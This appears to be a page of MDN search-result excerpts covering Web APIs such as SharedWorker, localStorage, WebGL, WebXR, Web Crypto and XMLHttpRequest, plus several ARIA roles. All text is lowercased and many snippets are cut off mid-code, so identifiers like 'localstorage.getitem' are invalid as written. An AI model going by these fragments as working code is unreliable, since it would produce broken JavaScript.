example the following code snippet shows creation of a sharedworker object using the sharedworker() constructor.
... multiple scripts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is started using its start() method: var myworker = new sharedworker('worker.js'); myworker.port.start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
SharedWorkerGlobalScope: connect event - Web APIs
the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
... self.onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } port.start(); } for a complete running example, see our basic shared worker example (run shared worker.) addeventlistener equivalent you could also set up an event handler using the addeventlistener() method: self.addeventlistener('connect', function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } }); specifications specification status html living standardthe definition of 'connect event' in that specification.
SourceBufferList - Web APIs
the source buffer list containing the sourcebuffers appended to a particular mediasource can be retrieved using the mediasource.sourcebuffers property.
... the individual source buffers can be accessed using array operator (i.e.
StereoPannerNode.pan - Web APIs
in the javascript we create a mediaelementaudiosourcenode and a stereopannernode, and connect the two together using the connect() method.
...er(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'pan' in that specification.
Storage - Web APIs
WebAPIStorage
we first test whether the local storage contains data items using !localstorage.getitem('bgcolor').
... if it does, we run a function called setstyles() that grabs the data items using storage.getitem() and uses those values to update page styles.
StorageEstimate.quota - Web APIs
this value is an estimate to help prevent its use for fingerprinting—that is, identifying a device using an amalgamation of the values of seemingly innocuous properties.
... html content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
StylePropertyMapReadOnly - Web APIs
retrieve an instance of this interface using element.computedstylemap().
...</p> <dl id="output"></dl> we add a touch of css with a custom property to better demonstrate the output: p { --somevariable: 1.6em; --someothervariable: translatex(33vw); --anothervariable: 42; line-height: var(--somevariable); } we add javascript to grab our paragraph and return back a definition list of all the default css property values using computedstylemap().
StyleSheetList - Web APIs
it is an array-like object but can't be iterated over using array methods.
... examples get document stylesheet objects with for loop for (let i = 0; i < document.stylesheets.length; i++) { let stylesheet = document.stylesheets[i]; } get all css rules for the document using array methods const allcss = [...document.stylesheets] .map(stylesheet => { try { return [...stylesheet.cssrules] .map(rule => rule.csstext) .join(''); } catch (e) { console.log('access to stylesheet %s is denied.
SubtleCrypto.exportKey() - Web APIs
*/ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); subjectpublickeyinfo export thi...
...*/ window.crypto.subtle.generatekey( { name: "rsa-oaep", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["encrypt", "decrypt"] ).then((keypair) => { const exportbutton = document.queryselector(".spki"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.publickey); }); }); json web key import this code...
Text.wholeText - Web APIs
WebAPITextwholeText
that’s where wholetext comes in: if you have multiple adjacent text nodes, you can access the contents of all of them using wholetext.
...what we have now is this: <p>thru-hiking is great, but <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that’s fine and probably clearer in most circumstances.
TextTrack: cuechange event - Web APIs
bubbles no cancelable no interface event event handler property globaleventhandlers.oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, receives a cuechang...
... if the track is associated with a media element, using the <track> element as a child of the <audio> or <video> element, the cuechange event is also sent to the htmltrackelement.
Touch.radiusX - Web APIs
WebAPITouchradiusX
example this example illustrates using the touch interface's touch.radiusx, touch.radiusx and touch.rotationangle properties.
...when the src element is touched, the element's width and height will be calculate based on the touch point's radiusx and radiusy values and the element will then be rotated using the touch point's rotationangle.
Transferable - Web APIs
this interface does not define any method or property; it is merely a tag indicating objects that can be used in specific conditions, such as being transfered to a worker using the worker.postmessage() method.
...the functionality of transferable objects still exists, however, but is implemented at a more fundamental level (technically speaking, using the [transferable] webidl extended attribute).
URL.createObjectURL() - Web APIs
examples see using object urls to display images.
... using object urls for media streams in older versions of the media source specification, attaching a stream to a <video> element required creating an object url for the mediastream.
URL.revokeObjectURL() - Web APIs
call this method when you've finished using an object url to let the browser know not to keep the reference to the file any longer.
... examples see using object urls to display images.
VideoTrackList.onchange - Web APIs
note: you can also add a handler for the change event using addeventlistener().
... var tracklist = document.queryselector("video").videotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackselectedbutton(track.id, track.selected); }); }; the updatetrackselectedbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's selected flag to determine which state the control should be in now.
VisualViewport - Web APIs
you can get a window's visual viewport using window.visualviewport.
... events listen to these events using addeventlistener() or by assigning an event listener to the relevant oneventname property of this interface.
WEBGL_color_buffer_float - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_compressed_texture_etc - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_compressed_texture_etc1 - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_compressed_texture_pvrtc - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_compressed_texture_s3tc - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_compressed_texture_s3tc_srgb - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_debug_renderer_info - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_debug_shaders - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_depth_texture - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WEBGL_lose_context - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too.
...possible values are: gl.unsigned_byte gl.unsigned_short when using the oes_element_index_uint extension: gl.unsigned_int offset a glintptr specifying an offset in the element array buffer.
WebGLProgram - Web APIs
after attaching the shader programs using attachshader(), you link them into a usable program.
... examples using the program the steps to actually do some work with the program involve telling the gpu to use the program, bind the appropriate data and configuration options, and finally draw something to the screen.
WebGLRenderingContext.blendEquation() - Web APIs
must be either: gl.func_add: source + destination, gl.func_subtract: source - destination, gl.func_reverse_subtract: destination - source when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination.
... when using a webgl 2 context, the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination.
WebGLRenderingContext.bufferSubData() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying from one buffer object to another.
... examples using buffersubdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); gl.buffersubdata(gl.array_buffer, 512, data); specifications specification status comment webgl 1.0the definition of 'buffersubdata' in that speci...
WebGLRenderingContext.getBufferParameter() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying from one buffer object to another.
... when using a webgl 2 context, the following values are available additionally: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy.
WebGLRenderingContext.getUniformLocation() - Web APIs
once you have the uniform's location, you can access the uniform itself using one of the other uniform access methods, passing in the uniform location as one of the inputs: getuniform() returns the value of the uniform at the given location.
... the uniform itself is declared in the shader program using glsl.
WebGLRenderingContext.getVertexAttrib() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.vertex_attrib_array_integer: returns a glboolean indicating whether or not an integer data type is in the vertex attribute array at the given index.
... when using the angle_instanced_arrays extension: ext.vertex_attrib_array_divisor_angle: returns a glint describing the frequency divisor used for instanced rendering.
WebGLRenderingContext.hint() - Web APIs
when using the oes_standard_derivatives extension: ext.fragment_shader_derivative_hint_oes: accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth.
... when using a webgl 2 context, the following values are available additionally: gl.fragment_shader_derivative_hint: same as ext.fragment_shader_derivative_hint_oes mode sets the behavior.
WebGLRenderingContext.isContextLost() - Web APIs
examples include: two or more pages are using the gpu, but together place too high a demand on the gpu, so the browser tells the two contexts that they've lost the connection, then selects one of the two to restore access for.
... another page running in the user's browser performs an operation using the gpu that takes too long, causing hte browser to decide to reset the gpu in order to break the stall.
WebGLRenderingContext.texImage2D() - Web APIs
when using the webgl_depth_texture extension: gl.depth_component gl.depth_stencil when using the ext_srgb extension: ext.srgb_ext ext.srgb_alpha_ext when using a webgl 2 context, the following values are available additionally: gl.r8 gl.r16f gl.r32f gl.r8ui gl.rg8 gl.rg16f gl.rg32f gl.rg8ui gl.rg16ui gl.rg32ui gl.rgb8 ...
... when using the webgl_depth_texture extension: gl.unsigned_short gl.unsigned_int ext.unsigned_int_24_8_webgl (constant provided by the extension) when using the oes_texture_float extension: gl.float when using the oes_texture_half_float extension: ext.half_float_oes (constant provided by the extension) when using a webgl 2 context, the following valu...
WebGLRenderingContext.texSubImage2D() - Web APIs
when using the ext_srgb extension: ext.srgb_ext ext.srgb_alpha_ext when using a webgl 2 context, the following values are available additionally: gl.red gl.rg gl.red_integer gl.rg_integer gl.rgb_integer gl.rgba_integer type a glenum specifying the data type of the texel data.
... when using the oes_texture_float extension: gl.float when using the oes_texture_half_float extension: gl.half_float_oes when using a webgl 2 context, the following values are available additionally: gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_rev gl.unsigned_int_10f_11f_11f_rev gl.unsigned_int_5_9_9_9_rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_...
Basic scissoring - Web APIs
« previousnext » in this example, we see how to draw simple rectangles and squares using webgl scissoring operations.
...we enable it here using the enable() method (you will also use enable() to activate many other features of webgl; hence, the use of the scissor_test constant as an argument in this case).
Simple color animation - Web APIs
« previousnext » a very basic color animation created using webgl, performed by clearing the drawing buffer with a different random color every second.
...vas-view"); gl = canvas.getcontext("webgl") ||canvas.getcontext("experimental-webgl"); if (!gl) { clearinterval(timer); alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
WebGL constants - Web APIs
compressed_rgba_atc_explicit_alpha_webgl 0x8c92 compresses rgba textures using explicit alpha encoding (useful when alpha transitions are sharp).
... compressed_rgba_atc_interpolated_alpha_webgl 0x87ee compresses rgba textures using interpolated alpha encoding (useful when alpha transitions are gradient).
Animating textures in WebGL - Web APIs
that means that you'll not only need to deploy code like using a secure web server, but you'll need a secure server to test with as well.
... using the video frames as a texture the next change is to inittexture(), which becomes much simpler, since it no longer needs to load an image file.
Introduction to WebRTC protocols - Web APIs
turn some routers using nat employ a restriction called ‘symmetric nat’.
... traversal using relays around nat (turn) is meant to bypass the symmetric nat restriction by opening a connection with a turn server and relaying all information through that server.
WebXR performance guide - Web APIs
this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
... } } now, instead of allocating variables every loop iteration, we're using global constants(or class member constants).
Visualizations with Web Audio API - Web APIs
basic concepts to extract data from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); ...
... the analyser node will then capture audio data using a fast fourier transform (fft) in a certain frequency domain, depending on what you specify as the analysernode.fftsize property value (if no value is specified, the default is 2048.) note: you can also specify a minimum and maximum power value for the fft data scaling range, using analysernode.mindecibels and analysernode.maxdecibels, and different data averaging constants using analysernode.smoothingtimeconstant.
Attestation and Assertion - Web APIs
an assertion is signed using the key pair for a service, which was generated during registration.
... an attestation is signed using the attestation private key and attestation certificate that were burned into all models of the same device.
Web Crypto API - Web APIs
the web crypto api is an interface allowing a script to use cryptographic primitives in order to build systems using cryptography.
... if you're not sure you know what you are doing, you probably shouldn't be using this api.
Web Speech API - Web APIs
grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text content (normally via the device's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutteranc...
... for more details on using these features, see using the web speech api.
Functions and classes available to Web Workers - Web APIs
8 (8) no support no support no support formdata formdata objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest send() method.
... workers can also create a new url using the url() constructor and call any normal method on the returned object.
Window: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
... window.addeventlistener('animationcancel', () => { console.log('animation canceled'); }); the same, but using the onanimationcancel property instead of addeventlistener(): window.onanimationcancel = () => { console.log('animation canceled'); }; see a live example of this event.
Window: beforeunload event - Web APIs
attaching an event handler/listener to window or document's beforeunload event prevents browsers from using in-memory page navigation caches, like firefox's back-forward cache or webkit's page cache.
... examples the html specification states that authors should use the event.preventdefault() method instead of using event.returnvalue.
Window.getComputedStyle() - Web APIs
examples in this example we style a <p> element, then retrieve those styles using getcomputedstyle(), and print them into the text content of the <p>.
... css property values may be accessed using the getpropertyvalue(propname) api or by indexing directly into the object such as obj['z-index'] or obj.zindex.
Window.isSecureContext - Web APIs
the window.issecurecontext read-only property indicates whether a context is capable of using features that require secure contexts.
... syntax var issecure = window.issecurecontext examples feature detection you can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean which is exposed on the global scope.
Window.localStorage - Web APIs
example the following snippet accesses the current domain's local storage object and adds a data item to it using storage.setitem().
... localstorage.setitem('mycat', 'tom'); the syntax for reading the localstorage item is as follows: const cat = localstorage.getitem('mycat'); the syntax for removing the localstorage item is as follows: localstorage.removeitem('mycat'); the syntax for removing all the localstorage items is as follows: localstorage.clear(); note: please refer to the using the web storage api article for a full example.
Window.onmozbeforepaint - Web APIs
try to avoid using it.
...this time is the same for all animations being run in the same browser window, including those using the window.mozrequestanimationframe() method, css transitions, and smil animations.
Window.opener - Web APIs
WebAPIWindowopener
the window interface's opener property returns a reference to the window that opened the window using open().
... syntax const openerwindow = window.opener value a window referring to the window that opened the current window (using window.open(), or by a link with target attribute set).
Window: popstate event - Web APIs
if current-entry's title wasn't set using one of the history api methods (pushstate() or replacestate(), set the entry's title to the string returned by its document.title attribute.
...1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // logs "location: http://example.com/example.html, state: null" history.go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" the same example using the onpopstate event handler property: window.onpopstate = function(event) { console.log("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // logs "location: http://example.com/example.html...
Window.screenLeft - Web APIs
WebAPIWindowscreenLeft
in this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...t/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using window.screenx/window.screeny.
Window.screenTop - Web APIs
WebAPIWindowscreenTop
in this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...t/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using window.screenx/window.screeny.
Window.screenX - Web APIs
WebAPIWindowscreenX
in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
... also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using screenx/screeny.
Window.screenY - Web APIs
WebAPIWindowscreenY
in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
... also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using screenx/screeny.
WindowOrWorkerGlobalScope.btoa() - Web APIs
in javascript strings are represented using the utf-16 character encoding: in this encoding, strings are represented as a sequence of 16-bit (2 byte) units.
... that occupy more than one byte, you will get an error, because this is not considered binary data: const ok = "a"; console.log(ok.codepointat(0).tostring(16)); // 61: occupies < 1 byte const notok = "✓" console.log(notok.codepointat(0).tostring(16)); // 2713: occupies > 1 byte console.log(btoa(ok)); // yq== console.log(btoa(notok)); // error if you need to encode unicode text as ascii using btoa(), one option is to convert the string such that each 16-bit unit occupies only one byte.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
see using microtasks in javascript with queuemicrotask() for more details.
...it creates a microtask by using a promise that resolves immediately.
Worker: message event - Web APIs
when the worker sends a message using dedicatedworkerglobalscope.postmessage()).
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js self.postmessage('i\'m alive!'); specifications specification status...
Worker.prototype.postMessage() - Web APIs
the worker can send back information to the thread that spawned it using the dedicatedworkerglobalscope.postmessage method.
... example the following code snippet shows the creation of a worker object using the worker() constructor.
Worker - Web APIs
WebAPIWorker
also available using the onunhandledrejection event handler property.
... example the following code snippet creates a worker object using the worker() constructor, then uses the worker object: var myworker = new worker('/worker.js'); var first = document.queryselector('input#number1'); var second = document.queryselector('input#number2'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker example (run dedicated worker).
XMLHttpRequest.response - Web APIs
the value is null if the request is not yet complete or was unsuccessful, with the exception that when reading text data using a responsetype of "text" or the empty string (""), the response can contain the response so far while the request is still in the loading readystate (3).
...see html in xmlhttprequest to learn more about using xhr to fetch html content.
XMLHttpRequest.setRequestHeader() - Web APIs
when using setrequestheader(), you must call it after calling open(), but before calling send().
... if no accept header has been set using this, an accept header with the type "*/*" is sent with the request when send() is called.
XMLHttpRequestResponseType - Web APIs
see html in xmlhttprequest to learn more about using xhr to fetch html content.
...you shouldn't use this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fetch api with readable streams, which offers a standard alternative to accessing the response in a streaming fashion.
XMLSerializer - Web APIs
serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
... var inp = document.createelement('input'); var xmls = new xmlserializer(); var inp_xmls = xmls.serializetostring(inp); // first convert dom node into a string // insert the newly created node into the document's body document.body.insertadjacenthtml('afterbegin', inp_xmls); the code creates a new <input> element by calling document.createelement(), then serializes it into xml using serializetostring().
XPathResult.resultType - Web APIs
this is useful for example, in an xpath expression using the count() function.
...this is useful for example, in an xpath expression using the not() function.
XPathResult - Web APIs
this is useful for example, in an xpath expression using the count() function.
...this is useful for example, in an xpath expression using the not() function.
XRBoundedReferenceSpace - Web APIs
these bounds are defined using an array of points, each of which defines a vertex in a polygon inside which the user is allowed to move.
...see the article using bounded reference spaces for details on how bounded spaces work and why they're useful.
XREnvironmentBlendMode - Web APIs
alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device.
... alpha blending can also be used by non-wearable devices that provide ar modes, such as phones or tablets using cameras to capture the real world for use in ar apps.
XRInputSource.gripSpace - Web APIs
for (let source in xrsession.inputsources) { if (source.gripspace) { let grippose = frame.getpose(source.gripspace, xrrefspace); if (grippose) { mydrawmeshusingtransform(controllermesh, grippose.transform.matrix); } } } for each input source which has a value for gripspace, this loop obtains the xrpose representing the position and orientation that are described by gripspace.
... if a valid pose is returned, a method mydrawmeshusingtransform() is called to draw the controller's mesh transformed using the grip pose's transform matrix.
XRInputSourceArray.keys() - Web APIs
examples this example snippet gets the list of inputs for a session and tries to handle each type of input device it supports using.
...for each key, the input is retrieved using the index with array notation: xrsession.inputsources[inputidx].
XRInputSourceEvent.inputSource - Web APIs
this event indicates an action the user has taken using a webxr input controller, such as a hand controller, motion sensing device, or other input apparatus.
... xrsession.onselect = event => { let source = event.inputsource; if (source.targetraymode == "gaze") { /* handle selection using a gaze input */ } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.inputsource' in that specification.
XRPose.transform - Web APIs
WebAPIXRPosetransform
it determines the targeted object by passing the event frame's pose into a function called findtargetusingray(), then dispatches the event differently depending on the user's handedness; this is done by comparing the value of the xrinputsource property handedness to a value in the variable user.handedness.
... xrsession.addeventlistener("select", event => { let source = event.inputsource; let frame = event.frame; let targetraypose = frame.getpose(source.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandaction(); } } }); specifications specification status comment webxr device apithe definition of 'xrpose.transform' in that specification.
XRPose - Web APIs
WebAPIXRPose
this is obtained using xrframe.getviewerpose() instead of getpose(), specifying a reference space which has been adjusted to position and orient the node to provide the desired viewing position and angle: viewerpose = xrframe.getviewerpose(adjreferencespace); here, adjreferencespace is a reference space which has been updated using the base frame of reference for the frame and any adjustments needed to position the ...
...if any component of the transform is computed or created artificially (such as by using mouse or keyboard controls to move through space), this value is instead true, indicating that the transform is in part emulated in software.
XRSession.onsqueeze - Web APIs
then we pass the currently held object and the target ray's transform matrix into a function we call dropobjectusingray() to drop the object, using the target ray to determine the surface upon which the object should be placed.
... xrsession.onsqueeze = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (user.heldobject && targetraypose) { dropobjectusingray(user.heldobject, targetraypose.transform.matrix): } } }; see the examples in the onsqueezestart and onsqueezeend event handlers for the reset of the event handling related to this approach.
XRSession.visibilityState - Web APIs
usage notes it's important to keep in mind that because an immersive webxr session is potentially being shown using a different display than the html document in which it's running (such as when being shown on a headset), the value of a session's visibilitystate may not necessarily be the same as the owning document's visibilitystate.
... for instance, if the viewer is using a headset tethered to a computer and the immersive scene is obscured by a configuration ui, the user could peek out from behind the headset and still be able to see the document itself on their computer's monitor.
XRSession - Web APIs
WebAPIXRSession
returns an integer value which can be used to identify the request for the purposes of canceling the callback using cancelanimationframe().
... also available using the onsqueezeend event handler property.
XRSessionEvent - Web APIs
constructor xrsessionevent() creates and returns a new xrsessionevent object configured using the specified xrsessioneventinit object's values as available.
... session event types the following events are represented using the xrsessionevent interface, and are permitted values for its type property.
XRView - Web APIs
WebAPIXRView
it's possible to have xrview objects which represent overlapping regions as well as entirely disparate regions; in a game, you might have views that can be presented to observe a remote site using a security camera or other device, for example.
...the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a new position and orientation which is computed using previously recorded mouse and keyboard input data which has generated offsets for yaw, pitch, and position along all three axes.
XRWebGLLayer.ignoreDepthValues - Web APIs
since the xr compositor uses the depth buffer by default, this value is false unless explicitly set otherwise when creating the xrwebgllayer using its constructor, xrwebgllayer().
... examples if the web application which is using wexr is rendering its content without using a depth buffer—or if the depth buffer's contents are invalid—you should disable the use of the depth buffer for webxr rendering by setting ignoredepthvalues to true when creating the xrwebgllayer.
XRWebGLLayerInit.depth - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, providing as the layerinit parameter an object whose depth property is false will request that the new layer be created without a depth buffer.
... if (gllayer.ignoredepthvalues) { /* not using the depth buffer */ } example in this example, a new xrwebgllayer is created for a webxr session, xrsession, without a depth buffer.
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
the xrwebgllayerinit dictionary's framebufferscalefactor property, when specified upon instantiating a new xrwebgllayer using its constructor, xrwebgllayer(), specifies the scaling factor to use when determining the size of the frame buffer to use when rendering the scene, relative to the default xr device display resolution.
... you can determine the scaling factor that you would need to apply to match the default frame buffer resolution by using the xrwebgllayer.getnativeframebufferscalefactor() static function.
Generating HTML - Web APIs
since there is no html namespace, and using the xhtml namespace would force the xsl to create an xml document that would not behave like a html document, the xsl:output in the xsl stylesheet will make sure the resulting document will be handled as html.
...the output of the xsl stylesheet is set to html by using the xsl:output element.
XSL Transformations in Mozilla FAQ - Web APIs
thus, using media in <?xml-stylesheet ?> is strongly discouraged.
... there is transformtodocument and transformtofragment starting with mozilla 1.2 final, see using the mozilla javascript interface to xsl transformations.
XSLTProcessor - Web APIs
[throws] documentfragment xsltprocessor.transformtofragment(node source, document owner) transforms the node source by applying the stylesheet imported using the xsltprocessor.importstylesheet() function.
... [throws] document xsltprocessor.transformtodocument(node source) transforms the node source applying the stylesheet given importing using the xsltprocessor.importstylesheet() function.
ARIA: tabpanel role - Accessibility
the aria tabpanel role indicates description an element with the tabpanel role associated roles and attributes aria- keyboard interaction key action tab → ← delete required javascript features include note about semantic alternatives to using this role or attribute.
... <div role="tablist"> <div role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id" tabindex="0">tab label</div> accessibility concerns optionally, warn of any potential accessibility concerns that exist with using this property, and how to work around them.
ARIA: article role - Accessibility
instead of using role="article", the <article> element can be used.
...using the <article> element also helps search engines better discover the structure of a page.
ARIA: cell role - Accessibility
using native html <td> elements, whenever possible, is strongly encouraged.
... using the native html table element (<table>) along with the table row element (<tr>) and table cell element (<td>) whenever possible is strongly encouraged.
ARIA: gridcell role - Accessibility
aria-colindex is being used to describe the rows' position and allows a person using assistive technology to infer that certain rows have been removed: <div role="grid" aria-colcount="6"> <div role="rowgroup"> <div role="row"> <div role="columnheader" aria-colindex="1">first name</div> <div role="columnheader" aria-colindex="2">last name</div> <div role="columnheader" aria-colindex="5">city</div> <div role="columnheader" aria-colindex="6">zip</div> ...
...<div role="gridcell" aria-colindex="5">new york</div> <div role="gridcell" aria-colindex="6">14127</div> </div> </div> … </div> describing the position of gridcells when the overall structure is unknown in situations where the table-style grouping of content does not provide information about the columns and rows, gridcells must have their positions programatically described by using aria-describedby.
ARIA: List role - Accessibility
<section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... as an aside, note that if you are using the semantic html elements of ol or ul and apply a role of presentation, each child li element inherits the presentation role because aria requires the listitem elements to have the parent list element.
ARIA: rowgroup role - Accessibility
using the native <thead>, <tfoot> , and <tbody> html elements, whenever possible, is strongly encouraged.
... note: using the native html table element (<table>) along with the table header (<thead>), footer (<tfoot>), and body (<tbody>) elements whenever possible is strongly encouraged.
ARIA: search role - Accessibility
using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
... best practices prefer html using the <form> element in conjunction with a declaration of role="search" will provide the largest amount of support.
ARIA: table role - Accessibility
using a native html table element whenever possible is strongly encouraged.
... note: using a native html table element whenever possible is strongly encouraged.
ARIA: checkbox role - Accessibility
he appearance of the checkbox so it appears checked or unchecked to the sighted user onkeypress handle the case where the user presses the space key to change the state of the checkbox by changing the value of the aria-checked attribute and the appearance of the checkbox so it appears checked or unchecked to the sighted user examples the following example creates a simple checkbox element using css and javascript to handle the checked or unchecked status of the element.
...as such, it is recommended to use the native html checkbox using form control instead of recreating a checkbox's functionality with javascript and aria.
Alerts - Accessibility
